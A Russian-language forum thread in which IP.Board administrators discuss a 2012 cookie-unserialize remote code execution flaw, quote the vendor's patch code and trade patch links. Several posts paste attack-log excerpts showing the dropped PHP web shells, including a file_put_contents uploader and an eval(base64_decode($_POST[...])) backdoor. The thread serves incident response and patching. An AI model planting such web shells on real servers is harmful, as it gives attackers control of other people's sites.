Опубликовано: 2 ноября 201213 г ИБРовцы похоже еще спят http://forums.ibresource.ru/index.php?/topic/64826/ :)если прошурстить у них в /cache/ наверняка и шелл найдется) Патчи от 6 ноября 2012 для ИБР версийhttp://ipbskins.ru/forum/topic10798.html/page__view__findpost__p__70490
Опубликовано: 3 ноября 201213 г Что-то так лениво обновлять все форумы... А в IBR работают бандерлоги - запихали свои функции в core.php, и этим добились несовместимости своего дистрибутива с английским. Положили бы свои сео-функции в constants.php, а переназначение ЧПУ - сделали бы хуком, и такой проблемы не было бы, и совместимость была бы полная.
Опубликовано: 3 ноября 201213 г Насколько я вижу, алгоритм простейший. В старом методе get класса IPSCookie выполнялось userialize для cookie, если она начиналась с 'a:'. Если подсунуть в cookie сериализованный объект, он разворачивался в инстанс, и код конструктора выполнялся. По сути это уязвимость вида "remote code execution" - очень серьезная дыра. Проблему решили добавлением проверки на наличие объекта в составе упакованного объекта - метод safeUnserialize в составе класса IPSLib: /** * mixed safe_unserialize(string $serialized) * Safely unserialize, that is only unserialize string, numbers and arrays, not objects * * @license Public Domain * @author dcz (at) phpbb-seo (dot) com */ static public function safeUnserialize( $serialized ) { // unserialize will return false for object declared with small cap o // as well as if there is any ws between O and : if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false ) { if ( strpos( $serialized, 'O:' ) === false ) { // the easy case, nothing to worry about // let unserialize do the job return @unserialize( $serialized ); } else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) ) { // in case we did have a string with O: in it, // but it was not a true serialized object return @unserialize( $serialized ); } } return false; } Эту проверку внедрили в метод get: /** * Get a cookie. * Abstract layer allows us to do some checking, etc * * @param string Cookie name * @return mixed * @since 2.0 */ static public function get($name) { /* Check internal data first */ if ( isset( self::$_cookiesSet[ $name ] ) ) { return self::$_cookiesSet[ $name ]; } else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) { $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; $_couldBeSerialized = stripslashes( urldecode( $_value ) ); if ( substr( $_couldBeSerialized, 0, 2 ) == 'a:' ) { return IPSLib::safeUnserialize( $_couldBeSerialized ); } else { return IPSText::parseCleanValue( urldecode( $_value ) ); } } else { return FALSE; } }
Опубликовано: 6 ноября 201213 г Автор Нда, посмотрел на пару школо-форумов, все поголовно с шеллами, на некоторых целый букет. Похоже уже начали ломать на автомате.
Опубликовано: 6 ноября 201213 г Подтверждаю. Один форум не пропатчил - десяток шеллов на нем уже лежит. Довольно серьезная дыра, создающая множество проблем. Подобные проблемы заставляют задуматься об отказе от использования IP.Board...
Опубликовано: 6 ноября 201213 г Вот такие вот шеллы дропают: d19d8a81069d77af4fccda594ddef321.php============================================================================== URL: /index.php/index.php Date: Mon, 05 Nov 2012 20:31:41 +0000 IP Address: 74.208.213.252 Time Taken: 0.00022 <?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?> ============================================================================== ============================================================================== ========================= END =================================== ========================= /index.php? =================================== ============================================================================== 37b5d35ddc8dd39b62ecfc0025fefb58.php ============================================================================== URL: /index.php/forums/index.php Date: Mon, 05 Nov 2012 20:32:02 +0000 IP Address: 74.208.213.252 Time Taken: 0.00021 <?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?> ============================================================================== ============================================================================== ========================= END =================================== ========================= /index.php? =================================== ============================================================================== Явно автобот работает.
Опубликовано: 7 ноября 201213 г Автор Еще один патч http://community.invisionpower.com/topic/372245-ipboard-33x-32x-and-31x-critical-security-update-6-november-2012/
Опубликовано: 8 ноября 201213 г Поступили кардинально. Вместо serialize/unserialize задействовали json_encode и json_decode. Чтобы применить патчи на русской версии, надо скачать английскую версию core.php, скопировать из нее и целиком заменить в русской класс:/** * IPSCookie * * This deals with saving and writing cookies */ class IPSCookie { ... Второй файл можно смело перезаписывать.
Опубликовано: 8 ноября 201213 г Вынесу тему в паблик, пожалуй. Тут ничего такого нет, а мне удобно ссылку давать.
Опубликовано: 8 ноября 201213 г Это просто жесть какая-то. На всех форумах, к которым у меня есть доступ, есть /cache/ - шелл. Видимо, стремительно прошла вторая волна, уже обходящая первый патч. Вот спасибо IPS за счастливое детство. Закрываю все свои IP.Board форумы на карантин.
Опубликовано: 8 ноября 201213 г В большинстве случаев просто дропнули шелл и пошли дальше. Видимо, ботнет собирают.
Опубликовано: 8 ноября 201213 г Вариации шеллов: /cache/cx.php ============================================================================== URL: /index.php/ Date: Tue, 06 Nov 2012 12:48:48 +0000 IP Address: 195.182.194.223 Time Taken: 0.00022 ============================================================================== ============================================================================== ========================= END =================================== ========================= /index.php? =================================== ============================================================================== ============================================================================== URL: /index.php/ Date: Tue, 06 Nov 2012 12:48:48 +0000 IP Address: 195.182.194.223 Time Taken: 0.00021 ============================================================================== ============================================================================== ========================= END =================================== ========================= /index.php? =================================== ============================================================================== /cache/cache.php ============================================================================== ========================= END =================================== ========================= /index.php?%3C?error_reporting(0);print(___);eval(base64_decode($_POST[HTTP]));die;?%3E =================================== ==============================================================================
Опубликовано: 8 ноября 201213 г Всплывает старая истина: запрет на web-доступ к /cache/ - всегда хорошая идея)
Опубликовано: 8 ноября 201213 г Автор Ритсука зачем палишь разновидности? :) Всплывает старая истина: запрет на web-доступ к /cache/ - всегда хорошая идея)Обходится как два пальца.
ИБРовцы похоже еще спят http://forums.ibresource.ru/index.php?/topic/64826/ :)
если прошурстить у них в /cache/ наверняка и шелл найдется)
Патчи от 6 ноября 2012 для ИБР версий
http://ipbskins.ru/forum/topic10798.html/page__view__findpost__p__70490